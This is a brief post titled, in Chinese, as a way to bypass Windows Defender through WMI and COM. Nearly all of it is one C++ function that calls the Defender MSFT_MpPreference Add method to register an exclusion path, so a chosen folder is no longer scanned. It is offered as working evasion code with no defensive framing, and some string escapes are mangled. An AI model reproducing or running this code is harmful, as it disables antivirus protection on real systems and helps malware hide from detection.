利用 WMI and COM 绕过windows defender

INT AddDefenderExclussion(WCHAR* exclpath){  /*  WCHAR path[] = L"C:\Temp";  INT res = AddDefenderExclussion(path);  if (!res)  {    ::wprintf(L"[-] AddDefenderExclussion has failedn");  }  */
  HRESULT hr;  hr = CoInitializeEx(0, COINIT_MULTITHREADED);  if (FAILED(hr))  {    ::wprintf(L"[-] CoInitializeEx has failedn");    return 0;  }
  hr = CoInitializeSecurity(    NULL,     -1,     NULL,     NULL,     RPC_C_AUTHN_LEVEL_DEFAULT,     RPC_C_IMP_LEVEL_IMPERSONATE,     NULL,     EOAC_NONE,     NULL  );  if (FAILED(hr))  {    ::wprintf(L"[-] CoInitializeSecurity has failedn");    CoUninitialize();    return 0;  }
  IWbemLocator* pLoc = 0;  hr = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);  if (FAILED(hr))  {    ::wprintf(L"[-] CoCreateInstance has failedn");    CoUninitialize();    return 0;  }
  IWbemServices* pSvc = 0;  hr = pLoc->ConnectServer(BSTR(L"ROOT\Microsoft\Windows\Defender"), NULL, NULL, 0, NULL, 0, 0, &pSvc);  if (FAILED(hr))  {    ::wprintf(L"[-] ConnectServer has failedn");    pLoc->Release();    CoUninitialize();    return 0;  }
  hr = CoSetProxyBlanket(    pSvc,     RPC_C_AUTHN_WINNT,     RPC_C_AUTHZ_NONE,     NULL,     RPC_C_AUTHN_LEVEL_CALL,     RPC_C_IMP_LEVEL_IMPERSONATE,     NULL,     EOAC_NONE  );  if (FAILED(hr))  {    ::wprintf(L"[-] CoSetProxyBlanket has failedn");    pSvc->Release();    pLoc->Release();    CoUninitialize();    return 0;  }
  IWbemClassObject* pClass = 0;  BSTR Clname = BSTR(L"MSFT_MpPreference");  hr = pSvc->GetObject(Clname, 0, NULL, &pClass, NULL);
  BSTR MethodName = BSTR(L"Add");  IWbemClassObject* pInSignature = 0;  hr = pClass->GetMethod(MethodName, 0, &pInSignature, NULL);  if (FAILED(hr))  {    ::wprintf(L"[-] GetMethod has failedn");    pInSignature->Release();    pClass->Release();    pSvc->Release();    pLoc->Release();    CoUninitialize();    return 0;  }
  IWbemClassObject* pClassInstance = NULL;  hr = pInSignature->SpawnInstance(0, &pClassInstance);  if (FAILED(hr))  {    ::wprintf(L"[-] SpawnInstance has failedn");    pClassInstance->Release();    pInSignature->Release();    pClass->Release();    pSvc->Release();    pLoc->Release();    CoUninitialize();    return 0;  }
  // Create an array  SAFEARRAYBOUND rgsaBounds[1];  rgsaBounds[0].cElements = 1;  rgsaBounds[0].lLbound = 0;  SAFEARRAY* psaStrings;  psaStrings = SafeArrayCreate(VT_BSTR, 1, rgsaBounds);
  // Add a string to the array  VARIANT vString;  VariantInit(&vString);  V_VT(&vString) = VT_BSTR;  V_BSTR(&vString) = _bstr_t(exclpath);  LONG lArrayIndex = 0;  SafeArrayPutElement(psaStrings, &lArrayIndex, V_BSTR(&vString));  VariantClear(&vString);
  // variant array  VARIANT vStringList;  VariantInit(&vStringList);  V_VT(&vStringList) = VT_ARRAY | VT_BSTR;  V_ARRAY(&vStringList) = psaStrings;    // Store the value for the in parameters  hr = pClassInstance->Put(L"ExclusionPath", 0, &vStringList, CIM_STRING|CIM_FLAG_ARRAY);  if (FAILED(hr))  {    ::wprintf(L"[-] Put has failed %xn", hr);    VariantClear(&vStringList);    pClassInstance->Release();    pInSignature->Release();    pClass->Release();    pSvc->Release();    pLoc->Release();    CoUninitialize();    return 0;  }
  IWbemClassObject* pOutParams = NULL;  hr = pSvc->ExecMethod(Clname, MethodName, 0, NULL, pClassInstance, NULL, NULL);  if (FAILED(hr))  {    ::wprintf(L"[-] ExecMethod has failed %xn", hr);    VariantClear(&vStringList);    pClassInstance->Release();    pInSignature->Release();    pClass->Release();    pSvc->Release();    pLoc->Release();    CoUninitialize();    return 0;  }
  VariantClear(&vStringList);  pClassInstance->Release();  pInSignature->Release();  pClass->Release();  pLoc->Release();  pSvc->Release();  CoUninitialize();
  return 1;}